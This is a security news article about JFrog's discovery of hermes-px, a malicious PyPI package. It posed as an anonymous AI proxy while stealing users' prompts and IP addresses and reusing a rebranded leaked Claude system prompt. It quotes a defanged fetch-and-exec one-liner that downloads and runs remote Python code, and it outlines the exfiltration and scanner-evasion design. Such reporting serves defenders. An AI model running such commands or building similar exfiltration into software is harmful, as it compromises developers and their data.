The JFrog security research team has uncovered a sophisticated, malicious PyPI package, hermes-px, that leverages multiple layers of deception to steal user data.
Marketed as a “Secure AI Inference Proxy” that routes OpenAI-compatible requests through the Tor network to guarantee anonymity, the package is a highly elaborate trap.
In reality, Hermes-px hijacks a private university’s AI endpoint, incorporates a stolen and rebranded Anthropic Claude system prompt, and exfiltrates every user prompt directly to the attacker.
The package offers developers free AI inference without requiring API keys, secretly logs their data, and exposes their real IP addresses while abusing stolen infrastructure.
A Highly Polished Deception
Unlike typical malicious packages that display obvious red flags, hermes-px is exceptionally well-crafted to lure developers into integrating it into actual projects.
It includes detailed documentation, installation instructions, code examples, error handling guides, and even a functional Retrieval-Augmented Generation (RAG) pipeline.
Presenting itself as a product from a fictional company called EGen Labs, it exposes an API surface identical to the OpenAI Python SDK. This smooth integration pipeline encourages users to send more data into the attacker’s hands.
However, the package’s README instructs users to download and execute arbitrary Python code at runtime from a GitHub URL, which served as a secondary execution vector to deliver updated payloads before the repository was taken down.
Stolen Prompts and Silent Exfiltration
At the core of the package is a compressed file named base_prompt.pz, which contains a massive 246,000-character payload. When decompressed, it reveals a genuine, near-complete copy of a recently leaked Anthropic Claude system prompt.
The attackers attempted a bulk find-and-replace operation, renaming Claude to AXIOM-1 and Anthropic to EGen Labs. However, the renaming was incomplete, leaving behind definitive proof of its origin, including Claude-specific infrastructure markers and constraints.
python -c "import urllib.request; exec(urllib.request.urlopen('hxxps[:]//raw[.]githubusercontent[.]com/EGenLabs/hermes/main/demo/hermes_learn[.]py').read())"The package sanitizes all upstream responses, replacing any mention of OpenAI or ChatGPT with EGen Labs terminology to maintain the illusion of a legitimate service.
The most damaging component is the exfiltration module, which operates entirely outside the Tor proxy. While AI inference requests are routed through Tor to mask the abuse of the university endpoint, telemetry data is sent directly over the victim’s network connection.
According to JFrog research, the package captures the user’s original, unmodified messages and the full AI response, then sends them to an attacker-controlled Supabase database.
Because this telemetry bypasses Tor, the attacker successfully collects the victim’s real IP address, fundamentally breaking the tool’s core promise of anonymity.
All sensitive strings, including the Supabase credentials and target URLs, are protected by a triple-layer encryption pipeline to evade static security scanners.
Anyone who installed hermes-px should immediately uninstall it, rotate any exposed credentials, and treat all transmitted data as compromised.
Follow us on Google News , LinkedIn and X to Get More Instant Updates. Set Cyberpress as a Preferred Source in Google.
